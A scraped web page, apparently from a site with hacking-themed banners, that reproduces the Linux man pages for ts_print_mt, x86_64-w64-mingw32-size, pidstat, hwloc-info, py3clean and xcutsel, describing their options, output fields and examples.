               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

517 - Linux cli command ts_print_mt

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ts_print_mt and provides detailed information about the command ts_print_mt, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ts_print_mt.

NAME 🖥️ ts_print_mt 🖥️

A very basic multitouch test routine for tslib.

SYNOPSIS

ts_print_mt [OPTION]

DESCRIPTION

ts_print_mt simply reads tslib multitouch input samples and prints them to the console.

-i, –idev

Explicitly choose the original input event device for tslib to use. Default: the environment variable TSLIB_TSDEVICE’s value.

-r, –raw

Don’t use the filters. This uses ts_read_raw_mt() instead of ts_read_mt(). This replaces the ts_print_raw_mt program.

-n, –non-blocking

Opens the input device in non-blocking mode and indefinitely prints the error codes while no samples are received.

-s, –samples

Number of samples tslib should read before returning.

-j, –slots

Override the number of concurrent touch contacts to allocate.

-h, –help

Print usage help and exit.

SEE ALSO

ts.conf (5), ts_test (1), ts_test_mt (1), ts_calibrate (1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

518 - Linux cli command x86_64-w64-mingw32-size

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-w64-mingw32-size and provides detailed information about the command x86_64-w64-mingw32-size, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-w64-mingw32-size.

NAME 🖥️ x86_64-w64-mingw32-size 🖥️

list section sizes and total size of binary files

SYNOPSIS

size [-A|-B|-G|–format=compatibility] [–help] [-d|-o|-x|–radix=number] [–common] [-t|–totals] [–target=bfdname] [-V|–version] [-f] [objfile…]

DESCRIPTION

The GNU size utility lists the section sizes and the total size for each of the binary files objfile on its argument list. By default, one line of output is generated for each file or each module if the file is an archive.

objfile… are the files to be examined. If none are specified, the file a.out will be used instead.

OPTIONS

The command-line options have the following meanings:

-A

-B

-G

–format=compatibility

Using one of these options, you can choose whether the output from GNU size resembles output from System V size (using -A, or –format=sysv), or Berkeley size (using -B, or –format=berkeley). The default is the one-line format similar to Berkeley’s. Alternatively, you can choose the GNU format output (using -G, or –format=gnu), this is similar to Berkeley’s output format, but sizes are counted differently. Here is an example of the Berkeley (default) format of output from size: $ size –format=Berkeley ranlib size text data bss dec hex filename 294880 81920 11592 388392 5ed28 ranlib 294880 81920 11888 388688 5ee50 size The Berkeley style output counts read only data in the text column, not in the data column, the dec and hex columns both display the sum of the text, data, and bss columns in decimal and hexadecimal respectively. The GNU format counts read only data in the data column, not the text column, and only displays the sum of the text, data, and bss columns once, in the total column. The –radix option can be used to change the number base for all columns. Here is the same data displayed with GNU conventions: $ size –format=GNU ranlib size text data bss total filename 279880 96920 11592 388392 ranlib 279880 96920 11888 388688 size This is the same data, but displayed closer to System V conventions: $ size –format=SysV ranlib size ranlib : section size addr .text 294880 8192 .data 81920 303104 .bss 11592 385024 Total 388392 size : section size addr .text 294880 8192 .data 81920 303104 .bss 11888 385024 Total 388688

–help

-h

-H

-?

Show a summary of acceptable arguments and options.

-d

-o

-x

–radix=number

Using one of these options, you can control whether the size of each section is given in decimal (-d, or –radix=10); octal (-o, or –radix=8); or hexadecimal (-x, or –radix=16). In **–radix=**number, only the three values (8, 10, 16) are supported. The total size is always given in two radices; decimal and hexadecimal for -d or -x output, or octal and hexadecimal if you’re using -o.

–common
Print total size of common symbols in each file. When using Berkeley or GNU format these are included in the bss size.

-t

–totals

Show totals of all objects listed (Berkeley or GNU format mode only).

–target=bfdname
Specify that the object-code format for objfile is bfdname. This option may not be necessary; size can automatically recognize many formats.

-v

-V

–version

Display the version number of size.

-f
Ignored. This option is used by other versions of the size program, but it is not supported by the GNU Binutils version.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

ar (1), objdump (1), readelf (1), and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

519 - Linux cli command pidstat

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pidstat and provides detailed information about the command pidstat, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pidstat.

NAME 🖥️ pidstat 🖥️

Report statistics for Linux tasks.

SYNOPSIS

pidstat [ -d ] [ -H ] [ -h ] [ -I ] [ -l ] [ -R ] [ -r ] [ -s ] [ -t ] [ -U [ *username ***] ] [ -u ] [ -V ] [ -v ] [ -w ] [ -C ***comm ***] [ -G **process_name ] [ –dec={ 0 | 1 | 2 } ] [ –human ] [ -p { pid[,…] | SELF | ALL } ] [ -T { TASK | CHILD | ALL } ] [ *interval ***[ ***count ***] ] [ -e **program *args *]

DESCRIPTION

The pidstat command is used for monitoring individual tasks currently being managed by the Linux kernel. It writes to standard output activities for every task selected with option -p or for every task managed by the Linux kernel if option -p ALL has been used. Not selecting any tasks is equivalent to specifying -p ALL but only active tasks (tasks with non-zero statistics values) will appear in the report.

The pidstat command can also be used for monitoring the child processes of selected tasks. Read about option **-T **below.

The interval parameter specifies the amount of time in seconds between each report. A value of 0 (or no parameters at all) indicates that tasks statistics are to be reported for the time since system startup (boot). The *count *parameter can be specified in conjunction with the *interval *parameter if this one is not set to zero. The value of *count *determines the number of reports generated at *interval *seconds apart. If the *interval *parameter is specified without the count parameter, the pidstat command generates reports continuously.

You can select information about specific task activities using flags. Not specifying any flags selects only CPU activity.

OPTIONS

**-C **comm
Display only tasks whose command name includes the string comm. This string can be a regular expression.

-d
Report I/O statistics (kernels 2.6.20 and later only). The following values may be displayed:

UID
The real user identification number of the task being monitored.

USER
The name of the real user owning the task being monitored.

PID
The identification number of the task being monitored.

kB_rd/s
Number of kilobytes the task has caused to be read from disk per second.

kB_wr/s
Number of kilobytes the task has caused, or shall cause to be written to disk per second.

kB_ccwr/s
Number of kilobytes whose writing to disk has been cancelled by the task. This may occur when the task truncates some dirty pagecache. In this case, some IO which another task has been accounted for will not be happening.

iodelay
Block I/O delay of the task being monitored, measured in clock ticks. This metric includes the delays spent waiting for sync block I/O completion and for swapin block I/O completion.

Command
The command name of the task.

–dec={ 0 | 1 | 2 }
Specify the number of decimal places to use (0 to 2, default value is 2).

**-e **program args
Execute program with given arguments args and monitor it with pidstat. **pidstat **stops when *program *terminates.

**-G **process_name
Display only processes whose command name includes the string process_name. This string can be a regular expression. If option **-t **is used together with option -G then the threads belonging to that process are also displayed (even if their command name doesn’t include the string process_name).

-H
Display timestamp in seconds since the epoch.

-h
Display all activities horizontally on a single line, with no average statistics at the end of the report. This is intended to make it easier to be parsed by other programs.

–human
Print sizes in human readable format (e.g. 1.0k, 1.2M, etc.) The units displayed with this option supersede any other default units (e.g. kilobytes, sectors…) associated with the metrics.

-I
In an SMP environment, indicate that tasks CPU usage (as displayed by option -u) should be divided by the total number of processors.

-l
Display the process command name and all its arguments.

-p { pid[,…] | SELF | ALL }
Select tasks (processes) for which statistics are to be reported. pid is the process identification number. The SELF keyword indicates that statistics are to be reported for the **pidstat **process itself, whereas the ALL keyword indicates that statistics are to be reported for all the tasks managed by the system.

-R
Report realtime priority and scheduling policy information. The following values may be displayed:

UID
The real user identification number of the task being monitored.

USER
The name of the real user owning the task being monitored.

PID
The identification number of the task being monitored.

prio
The realtime priority of the task being monitored.

policy
The scheduling policy of the task being monitored.

Command
The command name of the task.

-r
Report page faults and memory utilization.

When reporting statistics for individual tasks, the following values may be displayed:

UID
The real user identification number of the task being monitored.

USER
The name of the real user owning the task being monitored.

PID
The identification number of the task being monitored.

minflt/s
Total number of minor faults the task has made per second, those which have not required loading a memory page from disk.

majflt/s
Total number of major faults the task has made per second, those which have required loading a memory page from disk.

VSZ
Virtual Size: The virtual memory usage of entire task in kilobytes.

RSS
Resident Set Size: The non-swapped physical memory used by the task in kilobytes.

%MEM
The tasks’s currently used share of available physical memory.

Command
The command name of the task.

When reporting global statistics for tasks and all their children, the following values may be displayed:

UID
The real user identification number of the task which is being monitored together with its children.

USER
The name of the real user owning the task which is being monitored together with its children.

PID
The identification number of the task which is being monitored together with its children.

minflt-nr
Total number of minor faults made by the task and all its children, and collected during the interval of time.

majflt-nr
Total number of major faults made by the task and all its children, and collected during the interval of time.

Command
The command name of the task which is being monitored together with its children.

-s
Report stack utilization. The following values may be displayed:

UID
The real user identification number of the task being monitored.

USER
The name of the real user owning the task being monitored.

PID
The identification number of the task being monitored.

StkSize
The amount of memory in kilobytes reserved for the task as stack, but not necessarily used.

StkRef
The amount of memory in kilobytes used as stack, referenced by the task.

Command
The command name of the task.

-T { TASK | CHILD | ALL }
This option specifies what has to be monitored by the **pidstat **command. The TASK keyword indicates that statistics are to be reported for individual tasks (this is the default option) whereas the CHILD keyword indicates that statistics are to be globally reported for the selected tasks and all their children. The ALL keyword indicates that statistics are to be reported for individual tasks and globally for the selected tasks and their children.

Note: Global statistics for tasks and all their children are not available for all options of pidstat. Also these statistics are not necessarily relevant to current time interval: The statistics of a child process are collected only when it finishes or it is killed.

-t
Also display statistics for threads associated with selected tasks.

This option adds the following values to the reports:

TGID
The identification number of the thread group leader.

TID
The identification number of the thread being monitored.

**-U [ ***username *]
Display the real user name of the tasks being monitored instead of the UID. If username is specified, then only tasks belonging to the specified user are displayed.

-u
Report CPU utilization.

When reporting statistics for individual tasks, the following values may be displayed:

UID
The real user identification number of the task being monitored.

USER
The name of the real user owning the task being monitored.

PID
The identification number of the task being monitored.

%usr
Percentage of CPU used by the task while executing at the user level (application), with or without nice priority. Note that this field does NOT include time spent running a virtual processor.

%system
Percentage of CPU used by the task while executing at the system level (kernel).

%guest
Percentage of CPU spent by the task in virtual machine (running a virtual processor).

%wait
Percentage of CPU spent by the task while waiting to run.

%CPU
Total percentage of CPU time used by the task. In an SMP environment, the task’s CPU usage will be divided by the total number of CPU’s if option -I has been entered on the command line.

CPU
Processor number to which the task is attached.

Command
The command name of the task.

When reporting global statistics for tasks and all their children, the following values may be displayed:

UID
The real user identification number of the task which is being monitored together with its children.

USER
The name of the real user owning the task which is being monitored together with its children.

PID
The identification number of the task which is being monitored together with its children.

usr-ms
Total number of milliseconds spent by the task and all its children while executing at the user level (application), with or without nice priority, and collected during the interval of time. Note that this field does NOT include time spent running a virtual processor.

system-ms
Total number of milliseconds spent by the task and all its children while executing at the system level (kernel), and collected during the interval of time.

guest-ms
Total number of milliseconds spent by the task and all its children in virtual machine (running a virtual processor).

Command
The command name of the task which is being monitored together with its children.

-V
Print version number then exit.

-v
Report values of some kernel tables. The following values may be displayed:

UID
The real user identification number of the task being monitored.

USER
The name of the real user owning the task being monitored.

PID
The identification number of the task being monitored.

threads
Number of threads associated with current task.

fd-nr
Number of file descriptors associated with current task.

Command
The command name of the task.

-w
Report task switching activity (kernels 2.6.23 and later only). The following values may be displayed:

UID
The real user identification number of the task being monitored.

USER
The name of the real user owning the task being monitored.

PID
The identification number of the task being monitored.

cswch/s
Total number of voluntary context switches the task made per second. A voluntary context switch occurs when a task blocks because it requires a resource that is unavailable.

nvcswch/s
Total number of non voluntary context switches the task made per second. An involuntary context switch takes place when a task executes for the duration of its time slice and then is forced to relinquish the processor.

Command
The command name of the task.

ENVIRONMENT

The pidstat command takes into account the following environment variables:

S_COLORS
By default statistics are displayed in color when the output is connected to a terminal. Use this variable to change the settings. Possible values for this variable are never, *always *or auto (the latter is equivalent to the default settings).
Please note that the color (being red, yellow, or some other color) used to display a value is not indicative of any kind of issue simply because of the color. It only indicates different ranges of values.

S_COLORS_SGR
Specify the colors and other attributes used to display statistics on the terminal. Its value is a colon-separated list of capabilities that defaults to I=32;22:N=34;1:W=35;1:X=31;1:Z=34;22. Supported capabilities are:

I=
SGR (Select Graphic Rendition) substring for item values like PID, UID or CPU number.

N=
SGR substring for non-zero statistics values and for tasks names.

W= (or M=)
SGR substring for percentage values in the range from 75% to 90% (or in the range 10% to 25% depending on the metric’s meaning).

X= (or H=)
SGR substring for percentage values greater than or equal to 90% (or lower than or equal to 10% depending on the metric’s meaning).

Z=
SGR substring for zero values and for threads names.

S_TIME_FORMAT
If this variable exists and its value is ISO then the current locale will be ignored when printing the date in the report header. The pidstat command will use the ISO 8601 format (YYYY-MM-DD) instead. The timestamp will also be compliant with ISO 8601 format.

EXAMPLES

pidstat 2 5
Display five reports of CPU statistics for every active task in the system at two second intervals.

pidstat -r -p 1643 2 5
Display five reports of page faults and memory statistics for PID 1643 at two second intervals.

pidstat -C “““fox|bird”” -r -p ALL
Display global page faults and memory statistics for all the processes whose command name includes the string “fox” or “bird”.

pidstat -T CHILD -r 2 5
Display five reports of page faults statistics at two second intervals for the child processes of all tasks in the system. Only child processes with non-zero statistics values are displayed.

BUGS

*/proc *filesystem must be mounted for the **pidstat **command to work.

Although pidstat speaks of kilobytes (kB), megabytes (MB)…, it actually uses kibibytes (kiB), mebibytes (MiB)… A kibibyte is equal to 1024 bytes, and a mebibyte is equal to 1024 kibibytes.

FILES

*/proc *contains various files with system statistics.

AUTHOR

Sebastien Godard (sysstat <at> orange.fr)

SEE ALSO

sar(1), top(1), ps(1), mpstat(1), iostat(1), vmstat(8)

https://github.com/sysstat/sysstat
https://sysstat.github.io/

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

520 - Linux cli command hwloc-info

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hwloc-info and provides detailed information about the command hwloc-info, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hwloc-info.

NAME 🖥️ hwloc-info 🖥️

info - Show some information about some objects, a topology or supported features

SYNOPSIS

hwloc-info [ options ]… <object>

hwloc-info [ options ] root hwloc-info [ options ] [ topology | levels | support ]

<object>… may be a space-separated list of target objects to query. The program reports all information about one object before looking at the next one:

$ hwloc-info core:2 package:1 pu:all Core L#2 type = Core … Package L#1 … PU L#0 … PU L#1 …

The list may also contain special keywords such as:

root for the topology root object.

levels for information about topology levels (default if no target object is given, identical to –topology).

topology for topology info attributes stored in the root object (for forward compatibility with topology info attrs in hwloc 3.0).

support for information about supported features (identical to –support).

Real targets and special keywords may be combined:

$ hwloc-info core:2 topology pu:3 levels

Note that hwloc(7) provides a detailed explanation of the hwloc system and of valid <object> formats; it should be read before reading this man page.

OPTIONS

–objects
Report information specific objects. This is the default if some objects are given on the command-line.

–topology
Report a summary of the topology instead of about some specific objects. This is equivalent to passing levels as a target object on the command-line. This is the default if no object is given on the command-line.

–support
Report the features that are supported by hwloc on the topology. The features are those available through the hwloc_topology_get_support() function. This is useful for verifying which CPU or memory binding options are supported by the current hwloc installation. This is equivalent to passing support as a target object on the command-line.

-i <path>, –input <path>
Read the topology from <path> instead of discovering the topology of the local machine.

If <path> is a file, it may be a XML file exported by a previous hwloc program. If <path> is “-”, the standard input may be used as a XML file.

On Linux, <path> may be a directory containing the topology files gathered from another machine topology with hwloc-gather-topology.

On x86, <path> may be a directory containing a cpuid dump gathered with hwloc-gather-cpuid.

When the archivemount program is available, <path> may also be a tarball containing such Linux or x86 topology files.

-i <specification>, –input <specification>
Simulate a fake hierarchy (instead of discovering the topology on the local machine). If <specification> is “node:2 pu:3”, the topology will contain two NUMA nodes with 3 processing units in each of them. The <specification> string must end with a number of PUs.

–if <format>, –input-format <format>
Enforce the input in the given format, among xml, fsroot, cpuid and synthetic.

-v –verbose
Include additional detail.

-q –quiet -s –silent
Reduce the amount of details to show. A single summary line per object is displayed.

–get-attr <name>
Only report the attribute of name <name> for each object (instead of all attributes). The name must exactly match what is usually reported by the program, for instance “complete cpuset” in “0.1: complete cpuset = %0x00ffff00”.

Only the value is reported, any other prefix or object name is ignored, so that the output may easily be used by other tools.

This option also works on topology information but it is ignored for levels and support keywords.

–ancestors
Display information about the object as well as about all its ancestors up to the root of the topology. This is identical to –ancestor all

–ancestor <type>
Only display the object ancestors that match the given type.

Some special values matching multiple types may also be given: kind=normal (CPU objects, including caches), kind=cpu (CPU objects, excluding caches), kind=cache (all caches, including memory-side caches), kind=memory (NUMA nodes or memory-side caches), kind=io (IO objects), kind=all (all objects). See also Object Kind in Terms and Definitions in the documentation. The prefix kind= may be omitted if there is no ambiguity.

If multiple ancestors match, they are reported from the deepest to the highest in the topology. Adding –first will only show the first one.

–children
Display information about the object children.

–descendants <type>
Display information about the object descendants that match the given type.

Some special values matching multiple types may also be given: kind=normal (CPU objects, including caches), kind=cpu (CPU objects, excluding caches), kind=cache (all caches, including memory-side caches), kind=memory (NUMA nodes or memory-side caches), kind=io (IO objects), kind=all (all objects). See also Object Kind in Terms and Definitions in the documentation. The prefix kind= may be omitted if there is no ambiguity.

If multiple objects match, they are reported in a depth-first order (first child, then its children, etc., then second child, etc.). Adding –first will only show the first one.

–local-memory
Display information about the NUMA nodes that are local to the given object.

–local-memory-flags
Change the flags used to select local NUMA nodes. Flags may be given as numeric values or as a comma-separated list of flag names that are passed to hwloc_get_local_numanode_objs(). Those names may be substrings of actual flag names as long as a single one matches. The default is 3 (or smaller,larger) which means NUMA nodes are displayed if their locality either contains or is contained in the locality of the given object.

This option enables –local-memory.

–best-memattr <name>
Enable the listing of local memory nodes with –local-memory, but only display the local nodes that have the best value for the memory attribute given by <name> (or as an index). If the memory attribute values depend on the initiator, the object given to hwloc-info is used as the initiator.

<name> may be suffixed with flags to tune the selection of best nodes, for instance as bandwidth,strict,default. default means that all local nodes are reported if no best could be found. strict means that nodes are selected only if their performance is the best for all the input CPUs. On a dual-socket machine with HBM in each socket, both HBMs are the best for their local socket, but not for the remote socket. Hence both HBM are also considered best for the entire machine by default, but none if strict.

–first
For each input object, only report the first matching output object (first ancestor, first child, etc.).

-n
When outputting object information, prefix each line with the index of the considered object within the input. For instance, if three cores were given in input, the output lines will be prefixed with “0: “, “1: " or “2: “. If –ancestor is also used, the prefix will be “X.Y: " where X is the index of the considered object within the input, and Y is the parent index (0 for the object itself, increasing towards the root of the topology).

–disallowed
Include objects disallowed by administrative limitations.

–restrict <cpuset>
Restrict the topology to the given cpuset. This removes some PUs and their now-child-less parents.

Beware that restricting the PUs in a topology may change the logical indexes of many objects, including NUMA nodes.

–restrict nodeset=<nodeset>
Restrict the topology to the given nodeset (unless –restrict-flags specifies something different). This removes some NUMA nodes and their now-child-less parents.

Beware that restricting the NUMA nodes in a topology may change the logical indexes of many objects, including PUs.

–restrict binding
Restrict the topology to the current process binding. This option requires the use of the actual current machine topology (or any other topology with –thissystem or with HWLOC_THISSYSTEM set to 1 in the environment).

Beware that restricting the topology may change the logical indexes of many objects, including PUs and NUMA nodes.

–restrict-flags <flags>
Enforce flags when restricting the topology. Flags may be given as numeric values or as a comma-separated list of flag names that are passed to hwloc_topology_restrict(). Those names may be substrings of actual flag names as long as a single one matches, for instance bynodeset,memless. The default is 0 (or none).

–filter <type>:<kind>, –filter <type>
Filter objects of type <type>, or of any type if <type> is “all”. “io”, “cache” and “icache” are also supported.

<kind> specifies the filtering behavior. If “none” or not specified, all objects of the given type are removed. If “all”, all objects are kept as usual. If “structure”, objects are kept when they bring structure to the topology. If “important” (only applicable to I/O and Misc), only important objects are kept. See hwloc_topology_set_type_filter() for more details.

–no-icaches
Do not show Instruction caches, only Data and Unified caches are considered. This is identical to –filter icache:none.

–no-io
Do not show any I/O device or bridge. This is identical to –filter io:none. By default, common devices (GPUs, NICs, block devices, …) and interesting bridges are shown.

–no-bridges
Do not show any I/O bridge except hostbridges. This is identical to –filter bridge:none. By default, common devices (GPUs, NICs, block devices, …) and interesting bridges are shown.

–whole-io
Show all I/O devices and bridges. This is identical to –filter io:all. By default, only common devices (GPUs, NICs, block devices, …) and interesting bridges are shown.

–thissystem
Assume that the selected backend provides the topology for the system on which we are running. This is useful when using –restrict binding and loading a custom topology such as an XML file.

–pid <pid>
Detect topology as seen by process <pid>, i.e. as if process <pid> did the discovery itself. Note that this can for instance change the set of allowed processors. Also show this process current CPU binding by marking the corresponding PUs (in Green in the graphical output, see the COLORS section below, or by appending (binding) to the verbose text output). If 0 is given as pid, the current binding for the lstopo process will be shown.

-p –physical
Use OS/physical indexes instead of logical indexes for input.

-l –logical
Use logical indexes instead of physical/OS indexes for input (default).

–version
Report version and exit.

-h –help
Display help message and exit.

DESCRIPTION

hwloc-info displays information about the specified objects. It is intended to be used with tools such as grep for filtering certain attribute lines. When no object is specified, or when –topology is passed, hwloc-info prints a summary of the topology. When –support is passed, hwloc-info lists the supported features for the topology.

Objects may be specified as location tuples, as explained in hwloc(7). However hexadecimal bitmasks are not accepted since they may correspond to multiple objects.

NOTE: It is highly recommended that you read the hwloc(7) overview page before reading this man page. Most of the concepts described in hwloc(7) directly apply to the hwloc-calc utility.

EXAMPLES

To display information about each package:

$ hwloc-info package:all Package L#0 logical index = 0 …

To display information about the core whose physical index is 2:

$ hwloc-info -p core:2 Core L#1 logical index = 1 os index = 2 …

To list the OS devices that are of subtype OpenCL:

$ hwloc-info -s “os[OpenCL]:all” CoProc:6 CoProc:8

To find the PCI bus ID of PCI devices containing OpenCL devices:

$ hwloc-info –ancestor PCI –get-attr “attr PCI bus id” ‘os[opencl]:all’ 0000:05:00.0 0000:42:00.0

To list the NUMA nodes that are local a PU:

$ hwloc-info –local-memory pu:25 NUMANode L#6 = local memory #0 of PU L#25 type = NUMANode … NUMANode L#7 = local memory #1 of PU L#25 type = NUMANode …

To show the best-bandwidth node(s) among NUMA nodes local to a PU:

$ hwloc-info –local-memory –best-memattr bandwidth pu:25 NUMANode L#7 = local memory #1 of PU L#25 type = NUMANode …

to find where a NUMA node is attached in the hierarchy of CPU cores:

$ hwloc-info –ancestor kind=normal –first -s numa:1 Package:0

To see levels and topology info attributes stored in the root object:

$ hwloc-info levels topology depth 0: 1 Machine (type #0) depth 1: 1 Package (type #1) depth 2: 2 Core (type #2) depth 3: 4 PU (type #3) Special depth -3: 1 NUMANode (type #13) info Backend = Linux info LinuxCgroup = /user/622 info Architecture = x86_64 info hwlocVersion = 3.0.0a1-git

SEE ALSO

hwloc(7), lstopo(1), hwloc-calc(1), hwloc-bind(1), hwloc-ps(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

521 - Linux cli command py3clean

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command py3clean and provides detailed information about the command py3clean, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the py3clean.

NAME 🖥️ py3clean 🖥️

removes .pyc and .pyo files

SYNOPSIS

py3clean [-V VERSION] [-p PACKAGE] [DIR_OR_FILE]

OPTIONS

–version
show program’s version number and exit

-h, –help
show this help message and exit

-v, –verbose
turn verbose more one

-q, –quiet
be quiet

-p* PACKAGE,*** –package**=****PACKAGE
specify Debian package name to clean

-V* VERSION*
specify Python 3 version to clean

AUTHOR

Piotr Ożarowski, 2012-2013

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

522 - Linux cli command xcutsel

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xcutsel and provides detailed information about the command xcutsel, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xcutsel.

NAME 🖥️ xcutsel 🖥️

interchange between cut buffer and selection

SYNOPSIS

xcutsel [ -toolkitoption …] [-selection selection] [-cutbuffer number]

DESCRIPTION

The xcutsel program is used to copy the current selection into a cut buffer and to make a selection that contains the current contents of the cut buffer. It acts as a bridge between applications that don’t support selections and those that do.

By default, xcutsel will use the selection named PRIMARY and the cut buffer CUT_BUFFER0. Either or both of these can be overridden by command line arguments or by resources.

An xcutsel window has the following buttons:

quit
When this button is pressed, xcutsel exits. Any selections held by xcutsel are automatically released.

copy PRIMARY to 0
When this button is pressed, xcutsel copies the current selection into the cut buffer.

copy 0 to PRIMARY
When this button is pressed, xcutsel converts the current contents of the cut buffer into the selection.

The button labels reflect the selection and cutbuffer selected by command line options or through the resource database.

